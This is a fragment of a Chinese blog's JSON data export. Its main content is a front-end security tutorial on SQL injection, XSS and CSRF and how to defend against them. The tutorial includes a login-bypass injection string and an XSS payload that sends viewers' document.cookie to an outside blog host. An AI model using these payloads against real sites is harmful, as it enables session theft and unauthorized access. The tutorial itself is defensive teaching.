12.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"理念\"><a href=\"#理念\" class=\"headerlink\" title=\"理念\"></a>理念</h3><ul>\n<li>当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感</li>\n</ul>\n<h3 id=\"理财\"><a href=\"#理财\" class=\"headerlink\" title=\"理财\"></a>理财</h3><ul>\n<li>罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。</li>\n</ul>\n<h3 id=\"社交\"><a href=\"#社交\" class=\"headerlink\" title=\"社交\"></a>社交</h3><ul>\n<li>罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。</li>\n<li>所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变</li>\n</ul>\n<h3 id=\"追求完美\"><a href=\"#追求完美\" class=\"headerlink\" title=\"追求完美\"></a>追求完美</h3><ul>\n<li>罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，</li>\n</ul>\n<h3 id=\"性格\"><a href=\"#性格\" class=\"headerlink\" title=\"性格\"></a>性格</h3><ul>\n<li>老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li>我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。</li>\n<li>极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋</li>\n</ul>\n"},{"title":"前端安全","date":"2018-01-25T11:11:25.000Z","_content":"\n# \b\b<font color=\"#aaf\">safetools 的使用方式</font>\n\n[demo](http://h5.test.jimistore.com/base/xss)\n\n1. 引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）\n2. 将需要提交的数据经过 filter 即可，如下：\n\n```\n浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密（可能有兼容）\nvar newValue = safetools.reEncode(value)\n\n正则解密（可能有兼容）\nvar newValue = safetools.reDecode(value)\n```\n\n> tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！\n\n<br>\n\n\n# <font color=\"#aaf\">常见的攻击手段</font>\n## <font color=\"#0af\">1. SQL 脚本注入攻击于与防御</font>\n\n### 概念\n> 用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.\n\n### 场景\n语句\n```\nstrSQL = \"SELECT * FROM users WHERE (name = '\" + userName + \"') and (pw = '\"+ passWord +\"');\"\n```\n\n如果恶意填入：\n> userName = \"1' OR '1'='1\"; passWord = \"1' OR '1'='1\";\n\n既可实现无密码登录，美滋滋吧...\n\n### 处理方式\n\b前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！\n\n## <font color=\"#0af\">2. XSS 攻击与防御</font>\n\n### 概念\n> <font color=\"green\">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。\nXSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。\n\n### 类型\n#### 简单分类\n1. 反射型xss\n<br>通过一次 xss 请求，将数据渲染到页面，请求 -> 返回数据，例子：\b搜索\n2. 储存型xss\n<br>通过一次 xss 请求，直接将\b数据储存在数据库，下次调用无需继续请求，例如：\b评论\n\n#### 复杂分类\n1. client 型\n2. server 型\n\n### 处理方式\n* 编码\n> 将 > ( 标签转换为字符串，可以处理大多数 xss 攻击\n\n* 过滤\n> 有的语句并不完全依赖<>标签，例如src=\"javascript:alert(1);\"\n\n* 校正\n> 这个照理来说应该后端处理\b，目前没碰到这种场景\n```\n> 一个直播平台，\b用户可以进入观看，主播可以设置自己的昵称:\nvar starNickName = '${starNickname}'\n```\n这怕是要翻水水了...假设是我是主播，我把昵称设置为：\n```\n';window.location.href=\"\bhttp//:blog.jzxer.cn/?cook=\" + document.cookie + '&url=' window.location.href;''\n```\n这一串如果传到后端，而后端又没有校正的话的话，这怕是\b傻眼了...观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。\b\n* CSP\n```\n在头部加入：\n\n<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:\">\n```\nmeta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。\n> 注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。\n\n## <font color=\"#0af\">3. CSRF</font> \n> <span style=\"color:green;\">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。\n                                                                                                       \n### 处理方式\n\n* 验证码\n在请求的同时，带个token,或者验证码\n\n* Referer Check\n这个可以伪造...但加入更保险\n\n> 注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。\n\n## 小结\nweb 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到\b的就是能够\b提前预防和及时修复。\n","source":"_posts/前端安全.md","raw":"---\ntitle: 前端安全\ndate: 2018-01-25 19:11:25\ntags: [xss, crsf]\ncategories: 安全\n---\n\n# \b\b<font color=\"#aaf\">safetools 的使用方式</font>\n\n[demo](http://h5.test.jimistore.com/base/xss)\n\n1. 引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）\n2. 将需要提交的数据经过 filter 即可，如下：\n\n```\n浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密（可能有兼容）\nvar newValue = safetools.reEncode(value)\n\n正则解密（可能有兼容）\nvar newValue = safetools.reDecode(value)\n```\n\n> tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！\n\n<br>\n\n\n# <font color=\"#aaf\">常见的攻击手段</font>\n## <font color=\"#0af\">1. SQL 脚本注入攻击于与防御</font>\n\n### 概念\n> 用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.\n\n### 场景\n语句\n```\nstrSQL = \"SELECT * FROM users WHERE (name = '\" + userName + \"') and (pw = '\"+ passWord +\"');\"\n```\n\n如果恶意填入：\n> userName = \"1' OR '1'='1\"; passWord = \"1' OR '1'='1\";\n\n既可实现无密码登录，美滋滋吧...\n\n### 处理方式\n\b前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！\n\n## <font color=\"#0af\">2. XSS 攻击与防御</font>\n\n### 概念\n> <font color=\"green\">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。\nXSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。\n\n### 类型\n#### 简单分类\n1. 反射型xss\n<br>通过一次 xss 请求，将数据渲染到页面，请求 -> 返回数据，例子：\b搜索\n2. 储存型xss\n<br>通过一次 xss 请求，直接将\b数据储存在数据库，下次调用无需继续请求，例如：\b评论\n\n#### 复杂分类\n1. client 型\n2. server 型\n\n### 处理方式\n* 编码\n> 将 > ( 标签转换为字符串，可以处理大多数 xss 攻击\n\n* 过滤\n> 有的语句并不完全依赖<>标签，例如src=\"javascript:alert(1);\"\n\n* 校正\n> 这个照理来说应该后端处理\b，目前没碰到这种场景\n```\n> 一个直播平台，\b用户可以进入观看，主播可以设置自己的昵称:\nvar starNickName = '${starNickname}'\n```\n这怕是要翻水水了...假设是我是主播，我把昵称设置为：\n```\n';window.location.href=\"\bhttp//:blog.jzxer.cn/?cook=\" + document.cookie + '&url=' window.location.href;''\n```\n这一串如果传到后端，而后端又没有校正的话的话，这怕是\b傻眼了...观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。\b\n* CSP\n```\n在头部加入：\n\n<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:\">\n```\nmeta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。\n> 注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。\n\n## <font color=\"#0af\">3. CSRF</font> \n> <span style=\"color:green;\">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。\n                                                                                                       \n### 处理方式\n\n* 验证码\n在请求的同时，带个token,或者验证码\n\n* Referer Check\n这个可以伪造...但加入更保险\n\n> 注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。\n\n## 小结\nweb 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到\b的就是能够\b提前预防和及时修复。\n","slug":"前端安全","published":1,"updated":"2018-01-25T11:18:25.232Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6b0035vzqhzw3n5c1c","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"safetools-的使用方式\"><a href=\"#safetools-的使用方式\" class=\"headerlink\" title=\"\b\bsafetools 的使用方式\"></a>\b\b<font color=\"#aaf\">safetools 的使用方式</font></h1><p><a href=\"http://h5.test.jimistore.com/base/xss\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n<ol>\n<li>引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）</li>\n<li>将需要提交的数据经过 filter 即可，如下：</li>\n</ol>\n<pre><code>浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密（可能有兼容）\nvar newValue = safetools.reEncode(value)\n\n正则解密（可能有兼容）\nvar newValue = safetools.reDecode(value)\n</code></pre><blockquote>\n<p>tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！</p>\n</blockquote>\n<p><br></p>\n<h1 id=\"常见的攻击手段\"><a href=\"#常见的攻击手段\" class=\"headerlink\" title=\"常见的攻击手段\"></a><font color=\"#aaf\">常见的攻击手段</font></h1><h2 id=\"1-SQL-脚本注入攻击于与防御\"><a href=\"#1-SQL-脚本注入攻击于与防御\" class=\"headerlink\" title=\"1. SQL 脚本注入攻击于与防御\"></a><font color=\"#0af\">1. SQL 脚本注入攻击于与防御</font></h2><h3 id=\"概念\"><a href=\"#概念\" class=\"headerlink\" title=\"概念\"></a>概念</h3><blockquote>\n<p>用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.</p>\n</blockquote>\n<h3 id=\"场景\"><a href=\"#场景\" class=\"headerlink\" title=\"场景\"></a>场景</h3><p>语句</p>\n<pre><code>strSQL = &quot;SELECT * FROM users WHERE (name = &#39;&quot; + userName + &quot;&#39;) and (pw = &#39;&quot;+ passWord +&quot;&#39;);&quot;\n</code></pre><p>如果恶意填入：</p>\n<blockquote>\n<p>userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;</p>\n</blockquote>\n<p>既可实现无密码登录，美滋滋吧…</p>\n<h3 id=\"处理方式\"><a href=\"#处理方式\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><p>\b前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！</p>\n<h2 id=\"2-XSS-攻击与防御\"><a href=\"#2-XSS-攻击与防御\" class=\"headerlink\" title=\"2. XSS 攻击与防御\"></a><font color=\"#0af\">2. XSS 攻击与防御</font></h2><h3 id=\"概念-1\"><a href=\"#概念-1\" class=\"headerlink\" title=\"概念\"></a>概念</h3><blockquote>\n<p><font color=\"green\">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br>XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>\n</blockquote>\n<h3 id=\"类型\"><a href=\"#类型\" class=\"headerlink\" title=\"类型\"></a>类型</h3><h4 id=\"简单分类\"><a href=\"#简单分类\" class=\"headerlink\" title=\"简单分类\"></a>简单分类</h4><ol>\n<li>反射型xss<br><br>通过一次 xss 请求，将数据渲染到页面，请求 -&gt; 返回数据，例子：\b搜索</li>\n<li>储存型xss<br><br>通过一次 xss 请求，直接将\b数据储存在数据库，下次调用无需继续请求，例如：\b评论</li>\n</ol>\n<h4 id=\"复杂分类\"><a href=\"#复杂分类\" class=\"headerlink\" title=\"复杂分类\"></a>复杂分类</h4><ol>\n<li>client 型</li>\n<li>server 型</li>\n</ol>\n<h3 id=\"处理方式-1\"><a href=\"#处理方式-1\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><ul>\n<li><p>编码</p>\n<blockquote>\n<p>将 &gt; ( 标签转换为字符串，可以处理大多数 xss 攻击</p>\n</blockquote>\n</li>\n<li><p>过滤</p>\n<blockquote>\n<p>有的语句并不完全依赖&lt;&gt;标签，例如src=”javascript:alert(1);”</p>\n</blockquote>\n</li>\n<li><p>校正</p>\n<blockquote>\n<p>这个照理来说应该后端处理\b，目前没碰到这种场景</p>\n<pre><code>一个直播平台，\b用户可以进入观看，主播可以设置自己的昵称:\nvar starNickName = &#39;${starNickname}&#39;\n</code></pre><p>这怕是要翻水水了…假设是我是主播，我把昵称设置为：</p>\n<pre><code>&#39;;window.location.href=&quot;\bhttp//:blog.jzxer.cn/?cook=&quot; + document.cookie + &#39;&amp;url=&#39; window.location.href;&#39;&#39;\n</code></pre><p>这一串如果传到后端，而后端又没有校正的话的话，这怕是\b傻眼了…观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。\b</p>\n</blockquote>\n</li>\n<li>CSP<br><code>`</code><br>在头部加入：</li>\n</ul>\n<p><meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:\"><br><code>`</code><br>meta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。</p>\n<blockquote>\n<p>注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。</p>\n</blockquote>\n<h2 id=\"3-CSRF\"><a href=\"#3-CSRF\" class=\"headerlink\" title=\"3. CSRF\"></a><font color=\"#0af\">3. CSRF</font></h2><blockquote>\n<p><span style=\"color:green;\">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。简单地说，是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞：简单的身份验证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。</p>\n</blockquote>\n<h3 id=\"处理方式-2\"><a href=\"#处理方式-2\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><ul>\n<li><p>验证码<br>在请求的同时，带个token,或者验证码</p>\n</li>\n<li><p>Referer Check<br>这个可以伪造…但加入更保险</p>\n</li>\n</ul>\n<blockquote>\n<p>注意：如果网站有XSS漏洞或者一些跨域漏洞，可能导致Token泄露。 在XSS攻击下，读取Token值，然后再构造出一个合法的请求，可以称为：XSRF。</p>\n</blockquote>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><p>web 安全是个需要长期坚持的事情，没有绝对安全的产品，我们需要做到\b的就是能够\b提前预防和及时修复。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"safetools-的使用方式\"><a href=\"#safetools-的使用方式\" class=\"headerlink\" title=\"\b\bsafetools 的使用方式\"></a>\b\b<font color=\"#aaf\">safetools 的使用方式</font></h1><p><a href=\"http://h5.test.jimistore.com/base/xss\" target=\"_blank\" rel=\"noopener\">demo</a></p>\n<ol>\n<li>引用 js 包（内容很少，也可以将内容拷贝出来，直接引用方法）</li>\n<li>将需要提交的数据经过 filter 即可，如下：</li>\n</ol>\n<pre><code>浏览器自带转换为字符串\nvar newValue = safetools.encode(value)\n\n正则加密（可能有兼容）\nvar newValue = safetools.reEncode(value)\n\n正则解密（可能有兼容）\nvar newValue = safetools.reDecode(value)\n</code></pre><blockquote>\n<p>tag: 前端交互，涉及到数据流动并需要在返回在页面上显示的，一定要经过后端！</p>\n</blockquote>\n<p><br></p>\n<h1 id=\"常见的攻击手段\"><a href=\"#常见的攻击手段\" class=\"headerlink\" title=\"常见的攻击手段\"></a><font color=\"#aaf\">常见的攻击手段</font></h1><h2 id=\"1-SQL-脚本注入攻击于与防御\"><a href=\"#1-SQL-脚本注入攻击于与防御\" class=\"headerlink\" title=\"1. SQL 脚本注入攻击于与防御\"></a><font color=\"#0af\">1. SQL 脚本注入攻击于与防御</font></h2><h3 id=\"概念\"><a href=\"#概念\" class=\"headerlink\" title=\"概念\"></a>概念</h3><blockquote>\n<p>用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入.</p>\n</blockquote>\n<h3 id=\"场景\"><a href=\"#场景\" class=\"headerlink\" title=\"场景\"></a>场景</h3><p>语句</p>\n<pre><code>strSQL = &quot;SELECT * FROM users WHERE (name = &#39;&quot; + userName + &quot;&#39;) and (pw = &#39;&quot;+ passWord +&quot;&#39;);&quot;\n</code></pre><p>如果恶意填入：</p>\n<blockquote>\n<p>userName = “1’ OR ‘1’=’1”; passWord = “1’ OR ‘1’=’1”;</p>\n</blockquote>\n<p>既可实现无密码登录，美滋滋吧…</p>\n<h3 id=\"处理方式\"><a href=\"#处理方式\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><p>\b前端和 XSS 处理类似，对传递的数据进行筛选，重点是后端对数据的处理！</p>\n<h2 id=\"2-XSS-攻击与防御\"><a href=\"#2-XSS-攻击与防御\" class=\"headerlink\" title=\"2. XSS 攻击与防御\"></a><font color=\"#0af\">2. XSS 攻击与防御</font></h2><h3 id=\"概念-1\"><a href=\"#概念-1\" class=\"headerlink\" title=\"概念\"></a>概念</h3><blockquote>\n<p><font color=\"green\">跨站脚本</font>（Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。<br>XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>\n</blockquote>\n<h3 id=\"类型\"><a href=\"#类型\" class=\"headerlink\" title=\"类型\"></a>类型</h3><h4 id=\"简单分类\"><a href=\"#简单分类\" class=\"headerlink\" title=\"简单分类\"></a>简单分类</h4><ol>\n<li>反射型xss<br><br>通过一次 xss 请求，将数据渲染到页面，请求 -&gt; 返回数据，例子：\b搜索</li>\n<li>储存型xss<br><br>通过一次 xss 请求，直接将\b数据储存在数据库，下次调用无需继续请求，例如：\b评论</li>\n</ol>\n<h4 id=\"复杂分类\"><a href=\"#复杂分类\" class=\"headerlink\" title=\"复杂分类\"></a>复杂分类</h4><ol>\n<li>client 型</li>\n<li>server 型</li>\n</ol>\n<h3 id=\"处理方式-1\"><a href=\"#处理方式-1\" class=\"headerlink\" title=\"处理方式\"></a>处理方式</h3><ul>\n<li><p>编码</p>\n<blockquote>\n<p>将 &gt; ( 标签转换为字符串，可以处理大多数 xss 攻击</p>\n</blockquote>\n</li>\n<li><p>过滤</p>\n<blockquote>\n<p>有的语句并不完全依赖&lt;&gt;标签，例如src=”javascript:alert(1);”</p>\n</blockquote>\n</li>\n<li><p>校正</p>\n<blockquote>\n<p>这个照理来说应该后端处理\b，目前没碰到这种场景</p>\n<pre><code>一个直播平台，\b用户可以进入观看，主播可以设置自己的昵称:\nvar starNickName = &#39;${starNickname}&#39;\n</code></pre><p>这怕是要翻水水了…假设是我是主播，我把昵称设置为：</p>\n<pre><code>&#39;;window.location.href=&quot;\bhttp//:blog.jzxer.cn/?cook=&quot; + document.cookie + &#39;&amp;url=&#39; window.location.href;&#39;&#39;\n</code></pre><p>这一串如果传到后端，而后端又没有校正的话的话，这怕是\b傻眼了…观众进来一个死一个，我应该也会进去蹲几天吧，吧。。。\b</p>\n</blockquote>\n</li>\n<li>CSP<br><code>`</code><br>在头部加入：</li>\n</ul>\n<p><meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:\"><br><code>`</code><br>meta：不信任任何URL，即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源：没有限制 启用后，不符合 CSP 的外部资源就会被阻止加载。</p>\n<blockquote>\n<p>注意：该属性目前比较新，hotfix 和 chorme 支持较好，并不适用于所有的浏览器。</p>\n</blockquote>\n<h2 id=\"3-CSRF\"><a href=\"#3-CSRF\" class=\"headerlink\" title=\"3. CSRF\"></a><font color=\"#0af\">3. CSRF</font></h2><blockquote>\n<p><span style=\"color:green;\">跨站请求伪造</span>（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本（XSS）相比，XSS 